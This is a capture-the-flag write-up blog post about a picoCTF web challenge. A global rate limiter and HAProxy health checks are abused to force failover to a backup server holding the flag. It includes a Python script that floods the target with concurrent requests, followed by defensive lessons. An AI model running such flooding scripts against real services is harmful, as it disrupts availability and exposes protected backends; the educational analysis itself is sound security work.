DEV Community

Cover image for PicoCTF Web Challenge Writeup: Failure Failure
Yogeshwar Peela
Yogeshwar Peela

Posted on

PicoCTF Web Challenge Writeup: Failure Failure

#picoctf #cybersecurity #webexploitation #ctf

Overview

We're given two files — an HAProxy load balancer config and a Flask app. The goal is to retrieve the flag hidden on the backup server.

Category: Web Exploitation | Difficulty: Medium | Tools: Python, requests, HAProxy config analysis

Step 1 — Analyzing the HAProxy Config 

backend servers
    option httpchk GET /
    http-check expect status 200
    server s1 *:8000 check inter 2s fall 2 rise 3
    server s2 *:9000 check backup inter 2s fall 2 rise 3
Enter fullscreen mode Exit fullscreen mode

Key observations:

  • s1 (port 8000) is the primary server
  • s2 (port 9000) is the backup server — only used when s1 is down
  • Health check runs GET / every 2 seconds and expects HTTP 200
  • fall 2 means s1 is marked down after 2 consecutive failed health checks
  • rise 3 means s1 needs 3 successful checks to come back online

Step 2 — Analyzing the Flask App 

if os.getenv("IS_BACKUP") == "yes":
    flag = os.getenv("FLAG")
else:
    flag = "No flag in this service"
Enter fullscreen mode Exit fullscreen mode

The flag is only available on the backup server where IS_BACKUP=yes.

The real vulnerability is in the rate limiter:

limiter = Limiter(
    key_func=global_rate_limit_key,  # global limit, not per-IP!
    default_limits=["300 per minute"]
)
Enter fullscreen mode Exit fullscreen mode 
@app.errorhandler(429)
def ratelimit_exceeded(e):
    return "Service Unavailable: Rate limit exceeded", 503
Enter fullscreen mode Exit fullscreen mode

When the rate limit is exceeded, the server returns 503 instead of 200 — which fails the HAProxy health check.

Step 3 — The Attack Plan

The chain of events we need to trigger:

  1. Flood the primary server (s1) with 300+ requests per minute
  2. s1 starts returning 503 due to rate limiting
  3. HAProxy health check sees 503 (not 200) → marks s1 as down after 2 failures
  4. HAProxy switches all traffic to the backup server s2
  5. s2 has IS_BACKUP=yes → returns the flag

Step 4 — Exploit Script 

import requests
from concurrent.futures import ThreadPoolExecutor

url = "http://CHALLENGE_URL/"

def send():
    try:
        return requests.get(url, timeout=5)
    except:
        pass

# Flood s1 to trigger rate limiting
print("[*] Flooding primary server...")
with ThreadPoolExecutor(max_workers=50) as ex:
    futures = [ex.submit(send) for _ in range(400)]

# Now fetch — should hit backup server
print("[*] Fetching flag from backup server...")
resp = requests.get(url)
print(resp.text)
Enter fullscreen mode Exit fullscreen mode

Step 5 — Getting the Flag

After flooding the primary server, the next request routes to the backup:

picoCTF{...flag...}
Enter fullscreen mode Exit fullscreen mode

Flag captured!

Vulnerability Summary

1. Global rate limiter — Shared across all users, not per-IP. Any single user can exhaust the limit for everyone, triggering system-level side effects.

2. HAProxy health check fails on 503 — An attacker can deliberately trigger 503s to force failover to the backup server.

3. Flag on backup server — Placing sensitive data on a "backup" assuming it won't be reached is a false assumption. All servers in a cluster must be treated as equally reachable.

Lessons Learned

  • Never put sensitive data exclusively on a backup server. The assumption that it won't be reached under normal conditions is exactly what an attacker will exploit.
  • Use per-IP rate limiting. Global limits let a single user starve everyone else and trigger system-level side effects like this failover.
  • Health check endpoints should be rate-limit exempt. Mixing health checks with user-facing rate limiting creates an unintended control surface for attackers.
  • All servers in a cluster are attack surface. Design every node as if it could be directly targeted.

Thanks for reading! If you found this helpful, consider following for more CTF writeups.

Top comments (0)